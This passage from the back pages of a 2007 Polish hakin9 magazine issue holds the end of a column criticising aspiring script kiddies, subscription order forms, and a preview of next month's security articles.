ją ich zdanie.

Gdzie się nie obejrzymy, znajdziemy zawsze kogoś, 

kto chciałby zostać hakerem. Weźmy na przykład moją 
klasę.  Dobry  znajomy,  po  którym  bym  się  wcale  tego 
nie spodziewał, dał się złapać na sztuczkę marketingo-
wą i wydał duże pieniądze na Szkołę hakerów, która mu 
w żadnym razie nie pomogła. Warto dodać, iż znajomy 
z komputerami nie jest za pan brat, jego poziom można 
określić ilością godzin spędzonych przy grach, a nie zaję-
ciach pożytecznych. Jest to bardzo prosty, ale nie jedyny 
taki przykład.

Następnym jest fala entuzjazmu po programie Teraz 

my! z udziałem Pawła Jabłońskiego aka Gorion. Faktem 
jest, iż Gorion zna się na rzeczy – jednak to, co zrobił, 
spotkało  się  z  poważną  dezaprobatą  ze  strony  reszty 
społeczności.  Dodatkowo,  rażącym  faktem  było  to,  iż 
zaprezentowany  został  PHP  shell,  o  czym  oglądają-
cy program widzowie nie zostali poinformowani. Gorion 
swoim występem w telewizji rozpoczął kształtowanie się 
następnego  trendu  i  warstwy  społeczności  sieciowej,  z 
którą częściowo utożsamiają się script kiddies.

W chwili pisania tego felietonu mamy wakacje, czas 

wypoczynku  –  jednak  nie  dla  wszystkich.  Ciągle  znaj-
dują się osoby, które koniecznie chciałyby zostać hake-
rami.  Wszystko  to  przez  siłę  mediów,  która  nieustan-
nie drąży temat bezpieczeństwa sieciowego i hackingu. 
Zupełnie  nie  wiem  dlaczego.  Przecież  zainteresowany 
poszuka  w  Internecie.  Nie  trzeba  na  ten  temat  trąbić 
i  zapraszać  coraz  to  nowych  gości.  Takie  posunięcia 
tylko robią dzieciom wodę z mózgu, a Sieci przysparza-
ją nowych kłopotów. l

Patryk Szlagowski patrykuss@haes-squad.net

background image

Tytuł

Ilość numerów 

w roku

Ilość zamawianych 

prenumerat

Od numeru pisma 

lub miesiąca

Opłata w zł

z VAT

hakin9 (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

900

Dodatkowy drukowany egzemplarz

12

80

W sumie

(liczba prenumerat x cena)

Formularz zamówienia prenumeraty

Dane osoby / firmy  zamawiającej

Imię i nazwisko

Stanowisko

ID kontrahenta*

* jeżeli jesteś już klientem firmy Software-Wydawnictwo Sp. z o.o. – wystarczy, że podasz swój numer ID kontrahenta; jeżeli nie posiadasz takiego numeru, podaj swe dane teleadresowe                      

Upoważniam firmę Software-Wydawnictwo Sp. z o.o. do wystawienia faktury VAT bez podpisu odbiorcy

Pieczęć firmy i podpis

Nazwa firmy

Dokładny adres

Telefon (wraz z numerem kierunkowym)

Faks (wraz z numerem kierunkowym)

Adres e-mail

Numer NIP firmy

Prosimy wypełnić czytelnie i przesłać faksem na numer: 

(22) 887 10 11 

lub listownie na adres: Software-Wydawnictwo Sp. z o.o., 

Bokserska 1, 02-682 Warszawa, 

e-mail: pren@software.com.pl

Przyjmujemy też zamówienia telefoniczne: 

(22) 887 14 44

UWAGA: Nadesłanie zamówienia jest jednocześnie zobowiązaniem do zapłaty.

w w w . b u y i t p r e s s . c o m . p l

Prenumerata korporacyjna hakin9 pozwoli Ci

na dowolne powielenie i rozpowszechnianie pisma 

w obrębie Twojej firmy

Numer konta: NORDEA BANK POLSKA 46 1440 1299 0000 0000 0391 8238

W ramach prenumeraty korporacyjnej otrzymają Państwo: 

1. Pismo w wersji elektronicznej

2. Dwa dodatkowe egzemplarze w wersji drukowanej

3. CD-ROM zawierający archiwum wszystkich numerów z 2006 roku

background image

Zaprenumeruj swoje ulubione magazyny 

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia 
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

background image

Prosimy wypełnić czytelnie i przesłać faksem na numer: 

(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o., 

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne: 

(22) 887 14 44 

Imię i nazwisko............................................................................................  ID kontrahenta..........................................................................................

Nazwa firmy.................................................................................................     Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

1

 Cena prenumeraty rocznej dla osób prywatnych 

2

 Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

3

 Cena prenumeraty dwuletniej Aurox Linux

  Jeżeli chcesz zapłacić kartą kredytową, wejdź na 

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość 

numerów

Ilość 

zamawianych 

prenumerat

Od numeru 

pisma lub 

miesiąca 

Opłata 

w zł 

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

12

250/180

1

SDJ Extra

 (od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

6

150/135

2

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

12

199/179

1

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

8

232/198

2

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

6

135

hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

199

1

/219

.psd (2 płyty CD)

Dwumiesięcznik użytkowników programu Adobe Photoshop

6

140

.psd numery specjalne 

(.psd Extra + .psd Starter Kit)

 6

140

background image

Aktualne informacje o najbliższym numerze 

http://www.hakin9.org/pl
Numer w sprzedaży na początku listopada 2007 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

 11/2007 

w następnym numerze 

między innymi:

Zapowiedzi

Hakowanie video.google.com, itvp.pl

Wraz z nadejściem Web 2.0 trendy stały się strony internetowe pozwalają-
ce  na  udostępnianie  mediów  wszystkim  użytkownikom.  Znakomitym  przy-
kładem jest serwis youtube, który dziennie odwiedzają miliony osób. Jedyną 
wadą  takich  portali  jest  brak  możliwości  pobierania  plików.  W  poniższym 
artykule  sprawdzimy,  jak  skutecznie  tego  typu  strony  są  zabezpieczone 
przed wyciekiem danych.

Bezpieczeństwo w sieci WLAN 

Sieci  bezprzewodowe  Wi-Fi  są  obecnie  bardzo  popularną  metodą  budo-
wania  sieci  lokalnych.  Podjęcie  decyzji  o  wykorzystaniu  tej  technologii  do 
potrzeb własnych, jak i firmy czy przedsiębiorstwa powinno jednoznacznie 
kojarzyć się z odpowiednim zabezpieczeniem takiej sieci. Należy przy tym 
pamiętać,  że  zabezpieczanie  sieci  to  nie  tylko  wykonanie  podstawowych 
czynności konfiguracyjnych, takich jak włączenie odpowiednio silnego szy-
frowania czy uruchomienie ściany przeciwogniowej. 

Chwyty bezpieczeństwa. Niekonwencjonalne 

metody wykrywania włamań

W  dzisiejszych  czasach  każda  firma  potrzebuje  systemu  informatyczne-
go  do  prawidłowego  funkcjonowania.  Utrzymanie  bezpieczeństwa  takiego 
systemu jest więc koniecznością. W ostatnich latach zwiększyła się liczba 
prób ataków na przeróżne systemy informatyczne, a wszystko to za sprawą 
bardzo szybkiego rozwoju technologii informatycznych. Trudno doszukiwać 
się przyczyn takiego stanu, zapewne składa się na nie wiele czynników.

NA CD:

•   hakin9.live – bootowalna dystrybucja Linuksa,
•   mnóstwo narzędzi – niezbędnik hakera,
•   tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,
•   dodatkowa dokumentacja,
•   pełne wersje komercyjnych aplikacji.

Początki

Atak

Obrona

background image
background image